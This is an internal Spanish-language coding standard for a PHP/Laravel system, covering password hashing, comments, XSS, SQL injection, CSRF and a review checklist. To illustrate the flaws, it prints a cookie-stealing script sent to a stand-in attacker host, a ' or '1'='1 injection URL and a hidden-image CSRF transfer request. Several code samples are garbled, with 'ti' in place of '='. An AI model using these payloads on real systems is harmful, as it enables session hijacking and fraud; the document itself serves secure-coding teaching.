1 STANDARD DE CÓDIGO

2 TABLE OF CONTENTS

1 Standard de código 1
2.1 Almacenamiento de contraseñas 1
2.2 No usar opción de email por defecto 1
2.3 Uso de comilla doble o sencilla 2
2.4 Links sin explicación 2
2.5 Comentarios 3
2.6 Vulnerabilidades XSS 4
2.7 Vulnerabilidades de SQL Injection 4
2.8 Vulnerabilidades CRSF 6
2.9 Ausencia de cifrado TLS 7
2.10 Concatenación de string para queries SQL 7
2.11 Hard-coded id's 7
2.12 Hard-coded queries 7
2.13 Código comentariado sin explicación 8
2.14 Tabla de code review 8

2.1 ALMACENAMIENTO DE CONTRASEÑAS

Use las funciones incorporadas de hashing de contraseñas para mezclar y comparar contraseñas. El hashing es la forma estándar de proteger la contraseña de un usuario antes de que se almacene en una base de datos. Muchos algoritmos de hashing comunes como md5 e incluso sha1 no son seguros para almacenar contraseñas, ya que los hackers pueden hacer un ataque de arcoíris para encontrar las contraseñas usando que fueron guardadas usando esos algoritmos.

PHP proporciona una biblioteca de hashing de contraseña incorporada que utiliza el algoritmo bcrypt, actualmente considerado el mejor algoritmo para el hash de contraseñas. Las funciones para almacenar credenciales de Laravel por defecto, contienen funciones que se conectan con bcrypt.

2.2 NO USAR OPCIÓN DE EMAIL POR DEFECTO

PHP proporciona una función de mail() que se ve tentadoramente simple y fácil. Desafortunadamente, al igual que muchas cosas en PHP, su simplicidad es engañosa y usarla puede ocasionar serios problemas de seguridad.

El correo electrónico es un conjunto de protocolos con una historia aún más problemática en seguridad que incluso el mismo PHP. Por lo tanto se debe tener cautela.

Si se deben enviar mails en una aplicación no Laravel (PISAMI antiguo por ejemplo) PHPMailer es una biblioteca de código abierto popular y bien desarrollada que proporciona una interfaz sencilla para enviar correos de forma segura. Se ocupa de los problemas para que puedas concentrarte en cosas más importantes.

En laravel existen librerías por defecto que envía email de forma segura, como lo encontramos en el siguiente link:

https://laravel.com/docs/5.6/mail

2.3 USO DE COMILLA DOBLE O SENCILLA

Se ha debatido por un largo tiempo si se deben definir cadenas con comillas simples (') o comillas dobles ("). Las cadenas de comillas simples no se analizan, así que lo que sea que hayas puesto en la cadena, eso es lo que aparecerá. Las cadenas de comillas dobles se analizan y se evalúan las variables de PHP en la cadena. Además, los caracteres escapados como \ n para nueva línea y \ t para tabulación no se evalúan en cadenas de una sola cita, sino que se evalúan en cadenas de comillas dobles.

Debido a que las cadenas de comillas dobles se evalúan en tiempo de ejecución, la teoría es que el uso de cadenas de comillas simples mejorará el rendimiento porque PHP no tendrá que evaluar cada cadena. Si bien esto podría ser cierto en una escala determinada, para la aplicación promedio de la vida real la diferencia es tan pequeña que en realidad no importa. Entonces, para una aplicación promedio, no importa lo que elija. Para que el código quede uniforme, en PISAMI se deberían usar comillar dobles.

2.4 LINKS SIN EXPLICACIÓN

Si hay un link pegado en el código, se debe explicar a que hace referencia. Es posible dejar links comentariados en el código en fase de desarrollo si son útiles para el mantenimiento del código, pero se debe aclarar en los comentarios que se encuentra en el link o que utilidad tiene.

2.5 COMENTARIOS

El 100% de lo métodos deben estar comentariados en el siguiente estándar:

```
/**
 * Explicación de la funcionalidad del método.
 *
 *
 * @param  int  $id: Descripción de la variable
 * @param  string  $nombre: Descripción de la variable
 * @return Response : Descripción del retorno
 */
```

Para mayor claridad a continuación se muestra un ejemplo de comentario de un método que realiza una valicación.

```
/**
 * Se validan los campos de cada una de las filas del archivo plano que
 * proviene de la Entidad X. Esta validación busca filtrar cédulas repetidas,
 * mails con forma invalida, y números de teléfono con caractéres alpha.
 *
 * @param  int  $id: Identificador del archivo plano que se quiere validar
 * @return Response : Se responde con un string json que contiene los errores de
validación,
 * con el siguiente formato {errores: [error1, error2, error3 ...]}
 */
public function validarArchivoPlanoIgac(Request $request)
{
    ...
}
```

Los comentarios deben ser escritos en español.

2.6 VULNERABILIDADES XSS

Cuando la aplicación muestra datos en el browser sin una validación apropiada, estos datos pueden contener un script que lean datos locales y los reenvíen al sitio del atacante para ser guardados allí, pueden redirigir al usuario a un sitio malicioso o cualquier cosa que se pueda hacer con un script que el sistema permitió guardar y posteriormente mostrar en el browser.

Ejemplo: Una aplicación genera un formulario dinámicamente (ya sea en javascript o en código de servidor). Por ejemplo, para mostrar el nombre en el perfil de un usuario hace:

```
(String) page +ti "<input nameti'nombre' typeti'TEXT' valueti'" +
request.getParameter("paramNombre") + "'>";
```

El atacante cuando crea su perfil, en en vez de ingresar su nombre ingresa:

```
'><script>document.locationti 'http://www.atacante.com/cgi-bin/
cookie.cgi?footi'+document.cookie</script>'
```

Por lo tanto cuando otro usuario consulta el perfil, **paramNombre** queda con el código que guardo el atacante, el cual reenvia el id de sesión del usuario a un sitio web del atacante, donde es guardado.

Si no se tiene un control que verifique que los datos mostrados en el browser escapan los caracteres especiales, o si no se verifica que estos no contengan caracteres especiales cuando son ingresados.

Escapar todas las cadenas de caracteres que provienen de cualquier usuario del sistema y son mostradas en el browser (ya sea de un usuario anónimo o no). Las listas blancas al igual que en las inyecciones, no sirven si es una aplicación que debe admitir cualquier clase de contenido, de lo contrario se podrían usar. También podemos usar librerías de auto sanitización o CSP (Content management policy).

2.7 VULNERABILIDADES DE SQL INJECTION

El atacante inyecta caracteres, en un formulario, método de un API o cualquier componente de software que reciba datos, que se aprovechan de la sintaxis del lenguaje de programación para ser ejecutados como si fueran parte del componente de software, por lo tanto el atacante puede inyectar sentencias que le permiten realizar diferentes acciones, como consultar datos no autorizados, eliminarlos e incluso tomar control del sistema.

La aplicación utiliza datos no confiables (provenientes de usuarios), para construir un query SQL:

```
String query ti "SELECT * FROM usuario WHERE IDti'" +
request.getParameter("id") + "'";
```

El atacante modifica el 'id' en su browser para enviar: ' or '1'ti'1. Por ejemplo (también podría ser modificado en un formulario):

http://ejemplo.com/app/accountView?idti'%20or%20'1'ti'1

Esto cambia el significado de la sentencia, por lo tanto se retorna toda la tabla de usuarios . También se puede hacer lo mismo escribiendo en un campo del formulario o cualquier método que envíe información al servidor. Claramente se pueden inyectar ataques que hagan cosas más graves, como borrar datos o modificar valores.

La mejor manera de identificar si se es vulnerable a las inyecciones, es verificando que los interpretadores separen claramente los querys de los datos con los que se ejecutan. En caso de que se usen procedimientos almacenados, se deben recibir los parámetros de entrada en variables y evitar los querys dinámicos, aunque claramente hay situaciones en que es muy complicado no usar queries dinámicos, por esto es falso que a los procedimientos almacenados no se le pueden hacer inyecciones. Por otro lado, si se tiene un mal manejo de excepciones, el atacante podrá descubrir donde puede inyectar código más fácilmente.

Usar un API que evite interpretar lo ingresado por el usuario (los orm de hoy en día generalmente lo hacen), impedirá que el query inyectado se ejecute, y será guardado

como cualquier cadena de caracteres. Si se hace esto, como la sentencia inyectada queda en un campo de la base de datos, puede tener consecuencias graves también, ya que esto se podría ejecutar en un momento inesperado, como por ejemplo a la hora de generar un reporte dinámico. Por lo tanto esta es una muy buena solución, sin embargo no se puede decir que se es invulnerable a inyecciones. Si no se tiene un API como el descrito anteriormente, se pueden escapar los caracteres especiales con rutinas que resuelvan este problema (en todos los lenguajes de programación existe una librería que las contiene). También se pueden usar validaciones con listas blancas, aunque si es una aplicación que debe permitir el ingreso de cualquier cadena de caracteres, este método no es aplicable. Verificar el código con herramientas de análisis estático es una muy buena opción. Las pruebas de penetración ayudarán también.

Debido a que las anteriores soluciones involucran una modificación del Sistema y los recursos actuales no son suficientes, se explorará la opción de un WAF de software libre, el cual se plantea al final de este punto:

2.8 VULNERABILIDADES CRSF

Un usuario que esté autenticado en una aplicación que corre en un browser y guarda la información de sesión en cookies (las variables de sesión de servidor utilizan cookies), ingresa a un sitio malicioso en el cual se hace un request al servidor de la aplicación, el browser envía el request con las cookies que indican que el usuario ya está autenticado, por lo tanto la aplicación piensa que es un request que proviene del usuario legítimo y lo ejecuta.

Por ejemplo, la aplicación hace un request desde el cliente que no incluye algo secreto como un token
de sesión:

http://ejemplo.com/app/transferirFondos?cantidadti1500&cuentaDestinoti4673243243

Por lo tanto el atacante construye un request que transferirá fondos de la cuenta de la víctima a su cuenta, y embebe este request en otra página que la víctima puede abrir en su browser (puede utilizar XSS para este fin también), la página parece inofensiva, pero

en esta imagen se encuentra:

```
<img srcti"http://ejemplo.com/app/transferirFondos?
cantidadti1500&cuentaDestinotiNumeroCuentaDelAtacante"
widthti"0" heightti"0" />
```

Entonces, si la victima visita cualquier sitio del atacante, mientras se encuentra autenticada en ejemplo.com, el sitio del atacante podrá hacer un request a ejemplo.com que va parecer legítimo, ya que viene del mismo browser del cual la aplicación tiene relacionadas sus variables de sesión.

2.9 AUSENCIA DE CIFRADO TLS

Actualmente no se están cifrando los datos en la comunicación desde el cliente al servidor, por lo tanto, cualquier atacante utilizando una herramienta de monitoreo de red, puede ver los passwords de los diferentes funcionarios.

2.10 CONCATENACIÓN DE STRING PARA QUERIES SQL

No se deben concatenar strings para crear quries SQL. Sin embargo el PISAMI antiguo no tiene ORM, por lo que se pueden usar prepare statements.

2.11 HARD-CODED ID'S

No se deben, en ningún caso, quemar Identificadores de la base de datos en el código.

2.12 HARD-CODED QUERIES

No se deben utilizar strings para crear sentencias SQL. Unicamente se debe usar un ORM. Laravel trae uno por defecto que debe ser usado.

2.13 CÓDIGO COMENTARIADO SIN EXPLICACIÓN.

Se debe evitar que exista un fragmento de código comentariado del cual no se explica su función. En desarrollo es posible dejar un fragmento de código que se cree que es muy posible reutilizar, pero se debe explicar su objetivo en un comentario.

2.14 TABLA DE CODE REVIEW

Para la revisión de código se presenta la siguiente tabla:

Elemento revisado	**Si**	**No**	**Observaciones**
Links sin explicación			
Métodos sin comentarios			
Comentarios de los métodos no concuerdan con el estándar			
Comentarios en formáto correcto, pero escritos en inglés			
Concatenación de string para queries SQL			
Hard-coded id’s			
Hard-coded queries			
Código comentariado sin explicación			